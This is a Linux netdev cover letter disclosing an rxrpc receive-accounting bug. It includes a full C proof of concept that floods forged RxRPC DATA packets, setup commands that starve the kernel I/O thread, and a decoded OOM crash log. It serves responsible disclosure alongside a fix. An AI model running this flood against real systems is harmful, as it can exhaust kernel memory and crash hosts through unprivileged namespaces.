Netdev List
 help / color / mirror / Atom feed
* [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion
@ 2026-10-14 16:58 Zihan Xi
  2026-10-14 16:58 ` [PATCH net v9 1/3] rxrpc: account encapsulated packets to UDP socket Zihan Xi
                   ` (3 more replies)
  0 siblings, 4 replies; 6+ messages in thread
From: Zihan Xi @ 2026-10-14 16:58 UTC (permalink / raw)
  To: linux-afs, netdev
  Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega, root,
	zihanx

Hi Linux kernel maintainers,

We found and validated an issue in net/rxrpc/io_thread.c,
net/rxrpc/local_object.c, net/rxrpc/conn_event.c and
net/rxrpc/input.c. The bug is reachable by a non-root user via a user
namespace and a network namespace. We've tested it, and it should not
affect any other functionality.
The recorded baseline run is unpatched.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

rxrpc_encap_rcv() queues encapsulated UDP skbs on the RxRPC local queue
without charging them to the UDP socket's receive memory. If the I/O
thread cannot keep up, the local queue is not bounded by the UDP socket's
receive buffer.

After the I/O thread dequeues a packet, it can remain on conn->rx_queue,
in managed RXGK OOB or pending-response queues, or in a call's
recvmsg_queue without remaining under the UDP socket's rmem limit. The
DATA receive sequence window advances when packets arrive, while
rx_consumed advances only when the application reads them. Per-call
windows therefore do not bound retained DATA across multiple calls.

The unpatched net/main baseline at
af32da41b0327b9c6a37856ba82b6760d6c8d10e was tested in a 2-vCPU,
2-GiB QEMU guest with AF_RXRPC, AFS and KASAN enabled. The callback
listener was active on UDP 7001, and krxrpcio/7001 was starved by
a SCHED_FIFO priority-99 task on the same CPU. An unprivileged
sender with UID 1001 sent IPv6 UDP datagrams for 30 seconds from
16 threads. Each UDP payload was 36 bytes: a 28-byte RxRPC header
and an 8-byte application payload.

The run reached a system-wide OOM at 275.016 seconds. The decoded OOM
data recorded skbuff_small_head at 521844 KB and skbuff_head_cache at
243491 KB, while rxrpc_call_jar was 197 KB. The allocation path was the
sender's udpv6_sendmsg() -> sock_alloc_send_pskb() -> __alloc_skb();
this is the downstream symptom of the accumulated skb memory, rather
than a trace at the enqueue site. The guest panicked before a packet
count could be printed. These measured baseline results are the evidence
for the bug. The decoded crash log is included below; it was produced with
./scripts/decode_stacktrace.sh.

This series is split into UDP receive accounting, connection/OOB queue
budgeting, and DATA receive-queue budgeting.

Changes since v8:
  - Split the fix into UDP accounting, connection/OOB queue budgeting,
    and DATA receive-queue budgeting patches.
  - Attribute the aggregate DATA accounting gap to 248f219cb8bc.
  - Clarify that each 36-byte UDP payload contains a 28-byte RxRPC
    header and an 8-byte application payload.
  - Apply netdev reverse-xmas ordering to the receive-budget helper.
  - Include the decoded baseline OOM and panic output in the cover letter.
Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/

Reproducer:

    gcc -O2 -static -pthread -o poc_rxrpc_mem poc.c
    unshare -Urn ./poc_rxrpc_mem -t 16 -s 30 -l 8

packetdrill is not used here because the trigger depends on a sustained
multi-threaded flood with unique call IDs and deliberate I/O-thread
starvation, rather than a finite deterministic packet sequence.

The namespace command exercises the flood as a non-root user in a user
and network namespace. The OOM measurements above additionally used
privileged setup to pin krxrpcio/7001 and run a SCHED_FIFO hog on the
other CPU; those conditions are not part of the non-root reachability
claim. For the recorded run, an AFS callback listener was already active
on UDP 7001 and the PoC reused it with -e:

    sysctl -w vm.panic_on_oom=1
    sysctl -w vm.overcommit_memory=2
    sysctl -w vm.overcommit_ratio=50
    sysctl -w kernel.panic_on_warn=0
    IO_PID=$(ps -eT -o tid=,comm= | awk '$2 == "krxrpcio/7001" {print $1; exit}')
    taskset -p 2 "$IO_PID"
    taskset -c 1 chrt -f 99 /bin/sh -c 'while :; do :; done' &
    ip link set lo up
    taskset -c 0 runuser -u test_user -- ./poc_rxrpc_mem -e -t 16 -s 30 -l 8

The privileged setup brings lo up before runuser. The PoC then skips
SIOCSIFFLAGS because lo is already up, so test_user does not need
CAP_NET_ADMIN for the recorded sender run.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <net/if.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_SERVICE_ID 1
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#define AFS_CB_CALLBACK_OP 204
#define DEFAULT_PORT 7001
#define DEFAULT_THREADS 4
#define DEFAULT_SECONDS 20
#define DEFAULT_PAYLOAD 8

struct __attribute__((packed)) rxrpc_wire_header {
	uint32_t epoch;
	uint32_t cid;
	uint32_t callNumber;
	uint32_t seq;
	uint32_t serial;
	uint8_t type;
	uint8_t flags;
	uint8_t userStatus;
	uint8_t securityIndex;
	uint16_t reserved;
	uint16_t serviceId;
};

struct rxrpc_sockaddr {
	sa_family_t srx_family;
	uint16_t srx_service;
	uint16_t transport_type;
	uint16_t transport_len;
	union {
		sa_family_t family;
		struct sockaddr_in sin;
		struct sockaddr_in6 sin6;
	} transport;
};

struct thread_args {
	struct sockaddr_in6 dst;
	int seconds;
	size_t payload_len;
	uint32_t cid_seed;
	unsigned long sent;
};

static volatile sig_atomic_t stop_flag;

static void on_alarm(int sig)
{
	(void)sig;
	stop_flag = 1;
}

static void *sender_thread(void *arg)
{
	struct thread_args *ta = arg;
	int fd;
	char *packet;
	struct rxrpc_wire_header *hdr;
	uint32_t *op;
	uint32_t *count;
	uint32_t seq = 1;
	uint32_t cid = ta->cid_seed;

	fd = socket(AF_INET6, SOCK_DGRAM, 0);
	if (fd < 0) {
		perror("socket");
		return NULL;
	}

	packet = malloc(sizeof(*hdr) + ta->payload_len);
	if (!packet) {
		perror("malloc");
		close(fd);
		return NULL;
	}
	memset(packet + sizeof(*hdr), 0, ta->payload_len);
	hdr = (struct rxrpc_wire_header *)packet;
	hdr->callNumber = htonl(1);
	hdr->type = RXRPC_PACKET_TYPE_DATA;
	hdr->flags = RXRPC_CLIENT_INITIATED;
	hdr->userStatus = 0;
	hdr->securityIndex = 0;
	hdr->reserved = 0;
	hdr->serviceId = htons(RXRPC_SERVICE_ID);
	op = (uint32_t *)(packet + sizeof(*hdr));
	*op = htonl(AFS_CB_CALLBACK_OP);
	if (ta->payload_len >= 8) {
		count = op + 1;
		*count = htonl(1);
	}

	/*
	 * Each datagram is a new incoming RxRPC call (seq=1, unique cid).
	 * That makes the I/O thread do full incoming-call setup, so it
	 * falls behind encap_rcv and local->rx_queue can grow.
	 */
	while (!stop_flag) {
		hdr->epoch = htonl(0x80000000u | cid);
		hdr->cid = htonl(cid << 2);
		hdr->seq = htonl(1);
		hdr->serial = htonl(seq);
		if (sendto(fd, packet, sizeof(*hdr) + ta->payload_len, 0,
			   (struct sockaddr *)&ta->dst, sizeof(ta->dst)) >= 0) {
			ta->sent++;
			seq++;
			cid += 32;
		}
	}

	free(packet);
	close(fd);
	return NULL;
}

static int bring_up_lo(void)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		return -1;
	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, "lo");
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
		close(fd);
		return -1;
	}
	if (ifr.ifr_flags & IFF_UP) {
		close(fd);
		return 0;
	}
	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

static int start_rxrpc_listener(uint16_t port)
{
	struct rxrpc_sockaddr srx;
	int fd;

	fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET6);
	if (fd < 0)
		return -1;

	memset(&srx, 0, sizeof(srx));
	srx.srx_family = AF_RXRPC;
	srx.srx_service = RXRPC_SERVICE_ID;
	srx.transport_type = SOCK_DGRAM;
	srx.transport_len = sizeof(struct sockaddr_in6);
	srx.transport.sin6.sin6_family = AF_INET6;
	srx.transport.sin6.sin6_port = htons(port);

	if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0 ||
	    listen(fd, 1) < 0) {
		close(fd);
		return -1;
	}

	return fd;
}

static void usage(const char *prog)
{
	fprintf(stderr, "Usage: %s [-a addr] [-p port] [-t threads] [-s seconds] [-l payload_len] [-e]\n", prog);
}

int main(int argc, char **argv)
{
	struct sockaddr_in6 dst = {
		.sin6_family = AF_INET6,
		.sin6_port = htons(DEFAULT_PORT),
	};
	const char *addr = "::1";
	int threads = DEFAULT_THREADS;
	int seconds = DEFAULT_SECONDS;
	size_t payload_len = DEFAULT_PAYLOAD;
	pthread_t *tids;
	struct thread_args *args;
	unsigned long total = 0;
	int listener_fd;
	int use_existing_listener = 0;
	int opt;

	while ((opt = getopt(argc, argv, "a:p:t:s:l:eh")) != -1) {
		switch (opt) {
		case 'a':
			addr = optarg;
			break;
		case 'p':
			dst.sin6_port = htons((uint16_t)strtoul(optarg, NULL, 0));
			break;
		case 't':
			threads = atoi(optarg);
			break;
		case 's':
			seconds = atoi(optarg);
			break;
		case 'l':
			payload_len = strtoul(optarg, NULL, 0);
			break;
		case 'e':
			use_existing_listener = 1;
			break;
		default:
			usage(argv[0]);
			return 1;
		}
	}

	if (threads <= 0 || seconds <= 0 || payload_len < 4 || payload_len > 65000) {
		usage(argv[0]);
		return 1;
	}
	if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) {
		perror("inet_pton");
		return 1;
	}
	if (bring_up_lo() < 0) {
		perror("bring_up_lo");
		return 1;
	}

	listener_fd = -1;
	if (!use_existing_listener) {
		listener_fd = start_rxrpc_listener(ntohs(dst.sin6_port));
		if (listener_fd < 0) {
			perror("start_rxrpc_listener");
			return 1;
		}
	}

	signal(SIGALRM, on_alarm);
	alarm(seconds);

	tids = calloc((size_t)threads, sizeof(*tids));
	args = calloc((size_t)threads, sizeof(*args));
	if (!tids || !args) {
		perror("calloc");
		return 1;
	}

	pthread_attr_t attr;
	if (pthread_attr_init(&attr) != 0) {
		perror("pthread_attr_init");
		return 1;
	}
	if (pthread_attr_setstacksize(&attr, 64 * 1024) != 0) {
		perror("pthread_attr_setstacksize");
		return 1;
	}

	for (int i = 0; i < threads; i++) {
		args[i].dst = dst;
		args[i].seconds = seconds;
		args[i].payload_len = payload_len;
		args[i].cid_seed = 1 + (uint32_t)i;
		if (pthread_create(&tids[i], &attr, sender_thread, &args[i]) != 0) {
			fprintf(stderr, "pthread_create(%d) failed: %s\n", i, strerror(errno));
			stop_flag = 1;
			threads = i;
			break;
		}
	}
	pthread_attr_destroy(&attr);

	for (int i = 0; i < threads; i++) {
		pthread_join(tids[i], NULL);
		total += args[i].sent;
	}

	printf("sent_packets=%lu payload_len=%zu threads=%d duration=%d\n",
	       total, payload_len, threads, seconds);
	free(args);
	free(tids);
	if (listener_fd >= 0)
		close(listener_fd);
	return 0;
}
------END poc.c--------

----BEGIN crash log----
[  275.016678][ T9427] poc_rxrpc_mem invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=0, oom_score_adj=0
[  275.016736][ T9427] CPU: 0 UID: 1001 PID: 9427 Comm: poc_rxrpc_mem Not tainted 7.3.0-rc6+ #1 PREEMPT(full) 
[  275.016747][ T9427] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  275.016751][ T9427] Call Trace:
[  275.016779][ T9427]  <TASK>
[  275.016790][ T9427]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[  275.016925][ T9427]  dump_stack (lib/dump_stack.c:129)
[  275.016932][ T9427]  dump_header (mm/oom_kill.c:464)
[  275.017004][ T9427]  out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[  275.017019][ T9427]  ? __pfx_out_of_memory (mm/oom_kill.c:835)
[  275.017034][ T9427]  __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[  275.017060][ T9427]  ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[  275.017074][ T9427]  ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[  275.017101][ T9427]  ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[  275.017133][ T9427]  ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[  275.017151][ T9427]  ? kmalloc_reserve (net/core/skbuff.c:615 (discriminator 2))
[  275.017206][ T9427]  ? __sanitizer_cov_trace_const_cmp8 (kernel/kcov.c:317)
[  275.017217][ T9427]  ? policy_nodemask (mm/mempolicy.c:2304 (discriminator 1))
[  275.017234][ T9427]  alloc_pages_mpol (mm/mempolicy.c:2486)
[  275.017244][ T9427]  ? __pfx_alloc_pages_mpol (mm/mempolicy.c:2275)
[  275.017257][ T9427]  alloc_frozen_pages_noprof (mm/mempolicy.c:2557 (discriminator 1))
[  275.017269][ T9427]  allocate_slab (mm/slub.c:3345 (discriminator 2) mm/slub.c:3470)
[  275.017281][ T9427]  new_slab (mm/slub.c:3513)
[  275.017292][ T9427]  ___slab_alloc (mm/slub.c:4568)
[  275.017306][ T9427]  kmem_cache_alloc_node_noprof (mm/slub.c:4987 mm/slub.c:5068)
[  275.017319][ T9427]  ? __local_bh_enable_ip (kernel/softirq.c:478)
[  275.017335][ T9427]  ? __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[  275.017349][ T9427]  __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[  275.017359][ T9427]  ? __alloc_skb (include/linux/bottom_half.h:20 (discriminator 1) net/core/skbuff.c:697)
[  275.017370][ T9427]  ? __pfx___alloc_skb (include/linux/fortify-string.h:447)
[  275.017382][ T9427]  ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[  275.017391][ T9427]  ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[  275.017407][ T9427]  alloc_skb_with_frags (include/linux/skbuff.h:1384 net/core/skbuff.c:6803)
[  275.017424][ T9427]  sock_alloc_send_pskb (net/core/sock.c:3022)
[  275.017436][ T9427]  ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[  275.017451][ T9427]  ? __pfx_sock_alloc_send_pskb (net/core/sock.c:2854 (discriminator 2))
[  275.017463][ T9427]  ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[  275.017474][ T9427]  ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[  275.017486][ T9427]  __ip6_append_data (include/net/sock.h:1907 net/ipv6/ip6_output.c:1695)
[  275.017511][ T9427]  ? find_held_lock (kernel/locking/lockdep.c:5401)
[  275.017526][ T9427]  ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[  275.017548][ T9427]  ? __pfx___ip6_append_data (net/ipv6/ip6_output.c:2063)
[  275.017557][ T9427]  ? ip6_mtu (net/ipv6/route.c:3296)
[  275.017569][ T9427]  ? ip6_setup_cork (net/ipv6/ip6_output.c:1450)
[  275.017581][ T9427]  ip6_make_skb (net/ipv6/ip6_output.c:2094)
[  275.017592][ T9427]  ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[  275.017605][ T9427]  ? __pfx_ip6_make_skb (net/ipv6/ip6_output.c:2040)
[  275.017618][ T9427]  ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[  275.017632][ T9427]  udpv6_sendmsg (net/ipv6/udp.c:1720)
[  275.017643][ T9427]  ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[  275.017655][ T9427]  ? find_held_lock (kernel/locking/lockdep.c:5401)
[  275.017672][ T9427]  ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[  275.017684][ T9427]  ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[  275.017697][ T9427]  ? __pfx_avc_has_perm (security/selinux/avc.c:1154)
[  275.017755][ T9427]  ? sock_has_perm (security/selinux/hooks.c:5054 (discriminator 1))
[  275.017774][ T9427]  ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[  275.017786][ T9427]  inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[  275.017798][ T9427]  ? inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[  275.017811][ T9427]  __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 net/socket.c:2281)
[  275.017823][ T9427]  ? __pfx___sys_sendto (net/socket.c:2235)
[  275.017837][ T9427]  ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[  275.017851][ T9427]  ? xfd_validate_state (arch/x86/kernel/fpu/xstate.c:1544)
[  275.017875][ T9427]  __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[  275.017886][ T9427]  ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[  275.017895][ T9427]  ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[  275.017908][ T9427]  x64_sys_call (arch/x86/include/generated/asm/syscalls_64.h:45)
[  275.017925][ T9427]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[  275.017940][ T9427]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  275.017950][ T9427] RIP: 0033:0x423104
[  275.017958][ T9427] Code: 7d e8 89 4d d4 e8 ac e7 02 00 44 8b 4d d0 4c 8b 45 c8 89 c3 44 8b 55 d4 8b 7d e8 b8 2c 00 00 00 48 8b 55 d8 48 8b 75 e0 0f 05 <48> 3d 00 f0 ff ff 77 34 89 df 48 89 45 e8 e8 f9 e7 02 00 48 8b 45
All code
========
   0:	7d e8                	jge    0xffffffffffffffea
   2:	89 4d d4             	mov    %ecx,-0x2c(%rbp)
   5:	e8 ac e7 02 00       	call   0x2e7b6
   a:	44 8b 4d d0          	mov    -0x30(%rbp),%r9d
   e:	4c 8b 45 c8          	mov    -0x38(%rbp),%r8
  12:	89 c3                	mov    %eax,%ebx
  14:	44 8b 55 d4          	mov    -0x2c(%rbp),%r10d
  18:	8b 7d e8             	mov    -0x18(%rbp),%edi
  1b:	b8 2c 00 00 00       	mov    $0x2c,%eax
  20:	48 8b 55 d8          	mov    -0x28(%rbp),%rdx
  24:	48 8b 75 e0          	mov    -0x20(%rbp),%rsi
  28:	0f 05                	syscall
  2a:*	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax		<-- trapping instruction
  30:	77 34                	ja     0x66
  32:	89 df                	mov    %ebx,%edi
  34:	48 89 45 e8          	mov    %rax,-0x18(%rbp)
  38:	e8 f9 e7 02 00       	call   0x2e836
  3d:	48                   	rex.W
  3e:	8b                   	.byte 0x8b
  3f:	45                   	rex.RB

Code starting with the faulting instruction
===========================================
   0:	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax
   6:	77 34                	ja     0x3c
   8:	89 df                	mov    %ebx,%edi
   a:	48 89 45 e8          	mov    %rax,-0x18(%rbp)
   e:	e8 f9 e7 02 00       	call   0x2e80c
  13:	48                   	rex.W
  14:	8b                   	.byte 0x8b
  15:	45                   	rex.RB
[  275.017968][ T9427] RSP: 002b:00007fd17b1191b0 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[  275.017985][ T9427] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000423104
[  275.017991][ T9427] RDX: 0000000000000024 RSI: 00007fd15c000b70 RDI: 0000000000000008
[  275.017997][ T9427] RBP: 00007fd17b1191f0 R08: 000000001c46aae8 R09: 000000000000001c
[  275.018002][ T9427] R10: 0000000000000000 R11: 0000000000000293 R12: 00000000000087cf
[  275.018008][ T9427] R13: 000000008010f9c6 R14: 000000000043e718 R15: 000000001c46aae8
[  275.018020][ T9427]  </TASK>
[  275.048339][ T9427] Mem-Info:
[  275.048347][ T9427] active_anon:2922 inactive_anon:6285 isolated_anon:0
[  275.048347][ T9427]  active_file:0 inactive_file:27 isolated_file:0
[  275.048347][ T9427]  unevictable:1768 dirty:0 writeback:3
[  275.048347][ T9427]  slab_reclaimable:11444 slab_unreclaimable:236232
[  275.048347][ T9427]  mapped:150 shmem:2717 pagetables:574
[  275.048347][ T9427]  sec_pagetables:0 bounce:0
[  275.048347][ T9427]  kernel_misc_reclaimable:0
[  275.048347][ T9427]  free:16828 free_pcp:10 free_cma:0
[  275.048369][ T9427] Node 0 active_anon:11688kB inactive_anon:25140kB active_file:0kB inactive_file:108kB unevictable:7072kB isolated(anon):0kB isolated(file):0kB mapped:600kB dirty:0kB writeback:12kB shmem:10868kB shmem_thp:0kB shmem_pmdmapped:0kB anon_thp:0kB kernel_stack:9728kB pagetables:2296kB sec_pagetables:0kB all_unreclaimable? no Balloon:0kB gpu_active:0kB gpu_reclaim:0kB
[  275.048392][ T9427] Node 0 DMA free:5696kB boost:0kB min:524kB low:652kB high:780kB reserved_highatomic:0kB free_highatomic:0kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB writepending:0kB zspages:0kB present:15992kB managed:15360kB mlocked:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB
[  275.048420][ T9427] lowmem_reserve[]: 0 1295 1295 1295 1295
[  275.048435][ T9427] Node 0 DMA32 free:61616kB boost:18432kB min:62960kB low:74092kB high:85224kB reserved_highatomic:0kB free_highatomic:0kB active_anon:11688kB inactive_anon:25140kB active_file:0kB inactive_file:108kB unevictable:7072kB writepending:12kB zspages:0kB present:2080640kB managed:1326300kB mlocked:0kB bounce:0kB free_pcp:40kB local_pcp:40kB free_cma:0kB
[  275.048459][ T9427] lowmem_reserve[]: 0 0 0 0 0
[  275.048472][ T9427] Node 0 DMA: 0*4kB 0*8kB 0*16kB 0*32kB 1*64kB (U) 0*128kB 0*256kB 1*512kB (U) 1*1024kB (U) 2*2048kB (UM) 0*4096kB = 5696kB
[  275.048531][ T9427] Node 0 DMA32: 2469*4kB (UME) 729*8kB (UME) 364*16kB (UME) 196*32kB (UME) 104*64kB (UME) 60*128kB (ME) 26*256kB (ME) 19*512kB (UM) 1*1024kB (M) 1*2048kB (M) 0*4096kB = 61596kB
[  275.048596][ T9427] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[  275.048602][ T9427] Node 0 hugepages_total=4 hugepages_free=4 hugepages_surp=0 hugepages_size=2048kB
[  275.048609][ T9427] 2916 total pagecache pages
[  275.048611][ T9427] 0 pages in swap cache
[  275.048614][ T9427] Free swap  = 0kB
[  275.048617][ T9427] Total swap = 0kB
[  275.048619][ T9427] 524158 pages RAM
[  275.048622][ T9427] 0 pages HighMem/MovableOnly
[  275.048627][ T9427] 188743 pages reserved
[  275.048629][ T9427] 0 pages cma reserved
[  275.048632][ T9427] Unreclaimable slab info:
[  275.048635][ T9427] Name                      Used          Total
[  275.048644][ T9427] bio-464                    1KB         15KB
[  275.048650][ T9427] bio-528                    3KB         15KB
[  275.048656][ T9427] bio-544                    1KB         15KB
[  275.048662][ T9427] bio-552                    1KB         15KB
[  275.048736][ T9427] TIPC                       1KB         31KB
[  275.048743][ T9427] SCTPv6                     2KB         30KB
[  275.048750][ T9427] RXRPC                      2KB         30KB
[  275.048755][ T9427] rxrpc_call_jar           197KB        217KB
[  275.048762][ T9427] fib6_node                  2KB          4KB
[  275.048767][ T9427] ip6_dst_cache              1KB          7KB
[  275.048773][ T9427] RAWv6                     17KB         30KB
[  275.048778][ T9427] UDPv6                     40KB         61KB
[  275.048784][ T9427] TCPv6                     10KB         31KB
[  275.048796][ T9427] t10_alua_lu_gp_cache          0KB          7KB
[  275.048802][ T9427] scsi_sense_cache           2KB          3KB
[  275.048808][ T9427] virtio_scsi_cmd           24KB         31KB
[  275.048813][ T9427] bio-136                   43KB         45KB
[  275.048824][ T9427] bio-264                    1KB          7KB
[  275.048847][ T9427] mqueue_inode_cache          1KB         30KB
[  275.048855][ T9427] f2fs_evict_inode_work          1KB          3KB
[  275.048862][ T9427] bio-272                    4KB          8KB
[  275.048867][ T9427] f2fs_bio_post_read_ctx         28KB         31KB
[  275.048892][ T9427] jfs_mp                     9KB         11KB
[  275.048902][ T9427] cifs_small_rq             18KB         22KB
[  275.048909][ T9427] cifs_request              67KB         67KB
[  275.048914][ T9427] cifs_mpx_ids               1KB          7KB
[  275.048919][ T9427] cifs_io_subrequest         50KB         56KB
[  275.048924][ T9427] cifs_io_request          100KB        112KB
[  275.048932][ T9427] nfs_commit_data            4KB         16KB
[  275.048939][ T9427] nfs_write_data            38KB         46KB
[  275.048949][ T9427] jbd2_inode                 5KB          7KB
[  275.048955][ T9427] ext4_system_zone           1KB         11KB
[  275.048960][ T9427] ext4_io_end_vec            0KB          3KB
[  275.048969][ T9427] fasync_cache               0KB          3KB
[  275.048976][ T9427] kvm_gmem_inode_cache          1KB         15KB
[  275.048982][ T9427] rpc_buffers               18KB         31KB
[  275.048987][ T9427] rpc_tasks                  3KB          7KB
[  275.048993][ T9427] UNIX-STREAM               38KB        189KB
[  275.048998][ T9427] UNIX                      42KB         63KB
[  275.049004][ T9427] tcp_bind2_bucket           1KB          4KB
[  275.049009][ T9427] tcp_bind_bucket            0KB          4KB
[  275.049015][ T9427] ip_fib_trie                1KB          3KB
[  275.049020][ T9427] ip_fib_alias               1KB          3KB
[  275.049046][ T9427] rtable                     1KB          7KB
[  275.049052][ T9427] RAW                       12KB         32KB
[  275.049057][ T9427] UDP                        4KB         63KB
[  275.049062][ T9427] tw_sock_TCP                0KB          7KB
[  275.049067][ T9427] request_sock_TCP           0KB          7KB
[  275.049073][ T9427] TCP                       10KB         30KB
[  275.049078][ T9427] fs_bio_integrity           0KB          4KB
[  275.049084][ T9427] hugetlbfs_inode_cache          3KB         15KB
[  275.049089][ T9427] netfs_subrequest          37KB         39KB
[  275.049095][ T9427] netfs_request            100KB        112KB
[  275.049100][ T9427] bio-288                   32KB         32KB
[  275.049105][ T9427] bio-328                    2KB          8KB
[  275.049110][ T9427] ep_head                    6KB         19KB
[  275.049116][ T9427] eventpoll_pwq              9KB         31KB
[  275.049122][ T9427] eventpoll_epi             16KB         45KB
[  275.049128][ T9427] inotify_inode_mark         27KB         31KB
[  275.049133][ T9427] bpf_fs_inode_cache          1KB         15KB
[  275.049139][ T9427] sgpool-128                 8KB         30KB
[  275.049144][ T9427] sgpool-64                  4KB         31KB
[  275.049149][ T9427] sgpool-32                  2KB         30KB
[  275.049154][ T9427] sgpool-16                  3KB         31KB
[  275.049160][ T9427] sgpool-8                   2KB         31KB
[  275.049165][ T9427] bio_crypt_ctx             19KB         19KB
[  275.049170][ T9427] bio_integrity_data          0KB          7KB
[  275.049175][ T9427] request_queue            161KB        182KB
[  275.049180][ T9427] blkdev_ioc                 0KB          7KB
[  275.049186][ T9427] bio-200                   20KB         31KB
[  275.049191][ T9427] biovec-max               511KB        520KB
[  275.049196][ T9427] biovec-128                 0KB         31KB
[  275.049201][ T9427] biovec-64                  0KB         45KB
[  275.049207][ T9427] biovec-16                  0KB         23KB
[  275.049213][ T9427] uid_cache                  0KB          7KB
[  275.049219][ T9427] dmaengine-unmap-256          2KB         31KB
[  275.049224][ T9427] dmaengine-unmap-128          1KB         15KB
[  275.049229][ T9427] dmaengine-unmap-16          0KB          7KB
[  275.049234][ T9427] dmaengine-unmap-2          0KB          4KB
[  275.049238][ T9427] QIPCRTR                    1KB         30KB
[  275.049243][ T9427] audit_buffer               0KB          7KB
[  275.049249][ T9427] skbuff_small_head     521844KB     521859KB
[  275.049255][ T9427] skbuff_fclone_cache          2KB         47KB
[  275.049260][ T9427] skbuff_head_cache     243491KB     243491KB
[  275.049265][ T9427] configfs_dir_cache          4KB          7KB
[  275.049271][ T9427] file_lock_cache            0KB         30KB
[  275.049276][ T9427] file_lock_ctx             18KB         19KB
[  275.049281][ T9427] fsnotify_inode_mark_connector         21KB         22KB
[  275.049287][ T9427] taskstats                  1KB         15KB
[  275.049293][ T9427] mem_cgroup_per_node         78KB        120KB
[  275.049299][ T9427] mem_cgroup                87KB        123KB
[  275.049305][ T9427] proc_dir_entry           308KB        339KB
[  275.049311][ T9427] pde_opener                 0KB          3KB
[  275.049316][ T9427] seq_file                  14KB         31KB
[  275.049322][ T9427] sigqueue                   0KB         11KB
[  275.049329][ T9427] shmem_inode_cache       8435KB       8541KB
[  275.049336][ T9427] kernfs_iattrs_cache        221KB        244KB
[  275.049343][ T9427] kernfs_node_cache      21315KB      21388KB
[  275.049349][ T9427] mnt_cache                 54KB         78KB
[  275.049366][ T9427] filp                     360KB        819KB
[  275.049373][ T9427] names_cache               39KB        126KB
[  275.049378][ T9427] net_namespace              9KB         29KB
[  275.049383][ T9427] ima_iint_cache           161KB        161KB
[  275.049388][ T9427] hashtab_node             927KB        928KB
[  275.049394][ T9427] ebitmap_node            2110KB       2118KB
[  275.049399][ T9427] avtab_node             16916KB      16917KB
[  275.049408][ T9427] avc_node                  91KB        138KB
[  275.049460][ T9427] lsm_inode_cache         6208KB       8015KB
[  275.049470][ T9427] lsm_file_cache            98KB        253KB
[  275.049475][ T9427] key_jar                   25KB         32KB
[  275.049480][ T9427] uts_namespace              0KB         15KB
[  275.049486][ T9427] nsproxy                    0KB          3KB
[  275.049504][ T9427] vm_area_struct          1175KB       1968KB
[  275.049510][ T9427] fs_cache                   9KB         39KB
